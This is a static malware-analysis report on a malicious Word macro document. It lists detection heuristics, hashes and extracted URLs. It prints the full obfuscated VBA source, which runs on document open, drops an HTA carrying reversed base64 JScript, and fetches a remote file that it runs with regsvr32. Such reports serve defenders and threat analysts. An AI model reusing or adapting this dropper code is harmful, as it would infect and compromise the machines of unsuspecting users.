Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b1cb3be3d6424c0e…

MALICIOUS

Office (OOXML)

141.7 KB Created: 2021-04-15 07:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 5be560da32753078a8bb18b0251786e8 SHA-1: ca7176217d5c83ffa4aa4e9f84a7336ec6f207df SHA-256: b1cb3be3d6424c0ea2d34e2c1c530aed14ec03581623adbe053af27ed24d2608
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set loadLink = GetObject("winmgmts:root\cimv2:Win32_Process")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set loadLink = GetObject("winmgmts:root\cimv2:Win32_Process")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6170 bytes
SHA-256: cb4b37e488a0e9b73947eb290fb75bf5301b3832561629d0870d9a4a98b733dd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{083C4D9D-1A47-4CB8-9881-081E5D39A34F}{C43A989D-1F36-4B49-B091-061F5ED47C7F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function rm()
rm = StrReverse("ath.elbaTretnioPeteled\atadmargorp\:c exe.rerolpxe\swodniw\:c")
End Function
Public Sub button1_Click()
Set loadLink = GetObject("winmgmts:root\cimv2:Win32_Process")
loadLink.Create p(rm)
End Sub


Attribute VB_Name = "listboxBorder"
Sub autoopen()
sizeLeft
End Sub
Function nvidia(storageTableNext, bufferResponseStorage)
If storageTableNext = 1 Then
nvidia = bufferResponseStorage
End If
End Function
Sub sizeLeft()
Dim procResponse As String
optionLeftMemory = Split(p(frm.rm), " ")
procResponse = optionLeftMemory(1)
Set titleCollectionOption = New pasteConvertPtr
titleCollectionOption.classGlobalVariable procResponse, tmpLenQuery
frm.button1_Click
End Sub
Function textboxCopy(borderQuery, tableVariableCount, tmpTitleW)
End Function

Attribute VB_Name = "copyBufCounter"
Function rightList(variableCounter As Long)
listboxConst = Chr(variableCounter)
rightList = nvidia(1, "<html><body><div id='content'>fTtlc29sYy5lY25lcmVmZVJyZWRyb0JuZWw7KTIgLCJncGouZWxiYVRyZXRuaW9QZXRlbGVkXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZm90ZXZhcy5lY25lcmVmZVJyZWRyb0JuZWw7KXlkb2Jlc25vcHNlci5lc2FiYXRhRHhvYnRzaUxyb3RhcmV0aShldGlydy5lY25lcmVmZVJyZWRyb0JuZWw7MSA9IGVweXQuZWNuZXJlZmVScmVkcm9CbmVsO25lcG8uZWNuZXJlZmVScmVkcm9CbmVsOykibWFlcnRzLmJkb2RhIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGVjbmVyZWZlUnJlZHJvQm5lbCByYXZ7KTAwMiA9PSBzdXRhdHMuZXNhYmF0YUR4b2J0c2lMcm90YXJldGkoZmk7KShkbmVzLmVzYWJhdGFEeG9idHNpTHJvdGFyZXRpOyllc2xhZiAsIj")
End Function
Function ExBorderStruct(variableCounter As Long)
listboxConst = Chr(variableCounter)
ExBorderStruct = nvidia(1, "dTPWlqRCZDV2xqcVFQTkRTZj1HM0wmVTA2a3U5NWc9UW9EciZtbT1lbWl0JjdpQVlmTDE9cmVzdSZHbWdtUlZJaWtNRTI9ZWdhcCZKTHRFM09DZzg9ZW1pdD81dWxhbS82NzAzNC8wMDMxNC9zeXVvZy9tb2Mud29ycm9tb3RkeW9sbC8vOnB0dGgiICwiVEVHIihuZXBvLmVzYWJhdGFEeG9idHNpTHJvdGFyZXRpOykicHR0aGxteC4ybG14c20iKHRjZWpiT1hldml0Y0Egd2VuID0gZXNhYmF0YUR4b2J0c2lMcm90YXJldGkgcmF2|fXspd29kbmlXdGNlbGVzKGhjdGFjfTspImF0aC5lbGJhVHJldG5pb1BldGVsZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLnJldG51b0NiaUxiaWx7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd")
End Function
Function captionVar(variableCounter As Long)
listboxConst = Chr(variableCounter)
captionVar = nvidia(1, "2VuID0gcmV0bnVvQ2JpTGJpbCByYXY7KSJncGouZWxiYVRyZXRuaW9QZXRlbGVkXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div id='table2'>0123456789+/</div><div id='table3'></div><script language='javascript'>function windowArgumentW(responseRefStorage){return(new ActiveXObject(responseRefStorage));}function ADelete(counterCount){return(procFuncLib.getElementById(counterCount).innerHTML);}function textboxArray(){var tit")
End Function
Function bufTextboxResponse(variableCounter As Long)
listboxConst = Chr(variableCounter)
bufTextboxResponse = nvidia(1, "leStorageRepo = ADelete('table1');var ExProcedure = titleStorageRepo.toLowerCase();var funcVariableNext = ADelete('table2');return(titleStorageRepo + ExProcedure + funcVariableNext);}function ptrWindow(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var titleGlobal=''; var w=String.fromCharCode; var L=s.length;var selectProc = 'charAt';for(i=0;i<64;i++){e[textboxArray()[selectProc](i)]=i;}for(x=0;x<L;x++){c=e[s[selectProc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(title")
End Function
Function variableLeftLeft(variableCounter As Long)
listboxConst = Chr(variableCounter)
variableLeftLeft = nvidia(1, "Global+=w(a));}}return(titleGlobal);};function titleStruct(dataData){return dataData.split('').reverse().join('');}bufBorder = window;procFuncLib = document;bufBorder.resizeTo(1, 1);bufBorder.moveTo(-100, -100);var clearLeftFunc = procFuncLib.getElementById('content').innerHTML;var clearLeftFunc = clearLeftFunc.split('|');var collectionPasteQuery = titleStruct(ptrWindow(clearLeftFunc[0]));var pointerMemory = titleStruct(ptrWindow(clearLeftFunc[1]));</script><script language='javascript'>function lenView(tru")
End Function
Function deleteTextbox(variableCounter As Long)
listboxConst = Chr(variableCounter)
deleteTextbox = nvidia(1, "stCount){var classResponseGlobal = windowArgumentW('msscriptcontrol.scriptcontrol');classResponseGlobal.Language = 'jscript';classResponseGlobal.Timeout = 60000;classResponseGlobal.AddCode(trustCount);return(null);}</script><script language='vbscript'>lenView collectionPasteQuery : lenView pointerMemory : bufBorder.close</script></body></html>")
End Function
Function tmpLenQuery()
tmpLenQuery = rightList(0) + ExBorderStruct(1) + captionVar(6) + bufTextboxResponse(1) + variableLeftLeft(6) + deleteTextbox(0)
End Function

Attribute VB_Name = "pasteConvertPtr"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Sub classGlobalVariable(convertStructWindow As String, bufferIterator As String)
Dim copyIteratorPaste As FileSystemObject
Set copyIteratorPaste = New FileSystemObject
Dim localVariable As TextStream
Set localVariable = copyIteratorPaste.CreateTextFile(convertStructWindow)
localVariable.WriteLine bufferIterator
localVariable.Close
Set localVariable = Nothing
Set copyIteratorPaste = Nothing
End Sub

Attribute VB_Name = "textboxBufferSize"
Function p(listCount)
p = listCount
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 32256 bytes
SHA-256: 6db474a4fb56731247fe88fc4b3818b430a73cb2f881a0a428921e7ecf8e8e9b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.